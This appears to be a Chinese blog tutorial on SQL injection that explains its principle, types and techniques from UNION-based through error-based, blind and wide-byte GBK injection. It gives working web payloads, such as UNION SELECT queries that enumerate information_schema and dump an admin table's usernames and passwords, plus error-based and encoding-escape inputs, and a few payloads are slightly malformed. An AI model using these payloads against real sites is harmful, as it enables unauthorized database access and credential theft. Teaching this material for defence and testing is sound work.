SQL注入
一、SQL注入的原理
SQL注入就是通过利用一些查询语句的漏洞,将SQL语句传递到服务器解析并执行的一种攻击手段。SQL注入发生的前提条件有两个:(1)存在可控变量;(2)SQL语句可以带入数据库进行执行。
攻击者可以使用SQL注入漏洞绕过应用程序安全措施;绕过网页或Web应用程序的身份验证和授权使攻击者能够完全控制Web应用程序后面的数据库服务器,实现对目标数据库的增删改查操作。
二、SQL注入的分类
1.按照数据传输方法:
- GET注入:
- POST注入
- COOKIE注入
- HTTP头部注入:一般存在于User-Agent 、Host 、X-Forwarded-For 等头部信息。
2.按照字符类型:
- 数字类型注入:一般当url中注入的参数为数字类型时,例如,页码(page)、id等时,存在该注入,例如url=http://xxx.com/users.php?id=1。遇到这种情况,我们可以将在 id=1后面添加 and 1=1来进行注入测试。
- 字符串注入:一般出现在登陆页面或者url中注入的参数为字符串类型时,例如username,password等,存在该注入,例如 url=http://xxx.com/index.php?username=aaa && password==bbb。需要注意的是,它与数字型注入最大的区别是,绕过时一般需要使用单引号来闭合,且与注释符搭配使用。可以将username=aaa && password=bbb改为username=aaa’ and 1=1 -+ && password=bbb
,此时带入数据库查询的语句为 select * from tables where username=‘aaa’ and 1=1 ’ ,由于1=1永远为true,所以数据库就会返回相关的信息。
2.按照注入方法:
- 联合注入
(1)原理:将两条SQL语句通过 UNION 链接在一起查询,将查询的结果输出到一个结果集。
(2)前提:两个不同的表必须具有相同的字段数量才能进行联合查询。
(3)函数:
## 常见的的SQL注入函数:
system_user() #系统用户名
user() #用户名
current_user() #当前用户名
session_user() #链接数据库的用户名
database() #数据库名
version() #数据库版本
@@datadir #数据库路径
@@basedir #数据库安装路径
@@version_conpile_os #操作系统
# 联合注入常用函数
concat(str1,str2,…) #拼接字符串,直接拼接,字符之间没有符号
concat_ws(‘separator’, str1, str2, …) #指定符号进行拼接
group_concat(str1) #将str1中的内容以逗号隔开显示出来
(4)利用步骤:
获取字段数量:
id=100 ORDER BY 7 #测试得出字段数量为7
获取查询的数据库名,表名,字段名:
id=-100 UNION SELECT 1,database(),3,4,5,6,7 #获取数据库名--->security
id=-100 UNION select 1,(SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA. TABLES WHERE TABLE_SCHEMA = security),3,4,5,6,7 #获取表名-->admin,admin_logs,channel,detail,feedback
id=-100 UNION select 1,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA. COLUMNS WHERE TABLE_NAME = 'admin' AND TABLE_SCHEMA = 'security'),3,4,5,6,7 #获取字段名-->id,name,password
输出查询内容:
id=-100 UNION select 1,(SELECT GROUP_CONCAT(name,'--',password) FROM admin),3,4,5,6,7 #得到数据库账户密码
- 报错注入
(1)原理:通过不同的报错方式将我们查询得内容输出到报错得结果之中,在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。
(2)前提:
Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上。
后台未对一些具有报错功能的函数(如extractvalue、updatexml等)进行过滤。
(3)函数:
方式一:extractvalue()函数
extractvalue( XML_document, XPath_string )
'''
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
报错原理:xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx‘
'''
方式二:updatexml()函数
updatexml( XML_document, XPath_string, new_value )
'''
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
参数3:new_value,String格式,替换查找到的符合条件的数据
'''
方式三:floor()函数
#涉及到的函数
floor() #向下取整
rand() #产生随机数
rand(0) #伪随机数,生成的随机数有规律
count(column_name) #函数返回指定列的值的数目(NULL 不计入);
count(*) #函数返回表中的记录数
group_by() #分组方式,作为虚拟表的主键
方式四:exp()函数(5.5.5<= MySQL数据库版本号<=5.5.49)
exp(x) #报错原理:当参数x超过710时,exp()函数会报错,错误信息如:DOUBLE value is of range:
and (select 1 from (select count(),concat((payload),floor (rand(0)2))x from information_schema.tables group by x)a)
- 堆叠注入
(1)原理:mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔开,而堆叠注入其实就是通过结束符来执行多条sql语句。
(2)函数:执行增删改查的函数都可以。 - 布尔盲注
(1)原理:布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false。
(2)函数:
length() #返回字符串长度
substr() #截取字符串 (语法:substr(string,start,leng))
ascii() #返回字符的ascii码(将字符等变为数字)
if(str1,str2,str3) #判断语句,如果第一个语句正确,就执行第二个,如果错误就执行第三个
- 时间盲注
(1)原理:布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,由回显时间来判断是否存在注入。
(2)函数:
sleep() #需要延迟的时间
- 宽字节注入:
宽字节是相对于ascII这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节。
转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;
宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。
参考
1. https://www.jb51.net/article/238310.htm#_label1
2. https://blog.csdn.net/lza20001103/article/details/124286601